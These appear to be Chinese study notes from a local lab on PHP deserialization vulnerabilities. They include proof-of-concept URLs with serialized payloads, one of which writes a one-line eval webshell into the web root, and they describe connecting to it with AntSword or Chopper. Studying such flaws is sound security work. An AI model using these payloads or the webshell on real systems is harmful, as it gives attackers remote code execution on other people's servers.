序列化是指对对象转换成字符串进行保存
serialize:转换成字符串的
unserialize:字符串转回成对象
漏洞形成原因:转化过程 由于字符串可以人为操作(例如写一句话)
生成字符串是用户可控的
案例:
https://www.liuyixiang.com/post/111860.html
使用到 wakeup 魔术函数 _destruct 析构函数
前提:有序列化的字符 ,有字符操作的权限
php:
poc测试脚本:
http://127.0.0.1/lx/6.26.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}
http://127.0.0.1/lx/6.26.php?s=O:4:%22test%22:1:{s:4:%22name%22;s:5:%22fairy%22;}
修改php:文件注意路径
构建poc写入一句话木马
http://127.0.0.1/lx/6.26.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
本机根目录下成功写入
使用蚁剑或者菜刀进行连接
本地地址:
点击添加
流程:
序列化
反序列化
添加一句话木马,修改对应格式
菜刀连接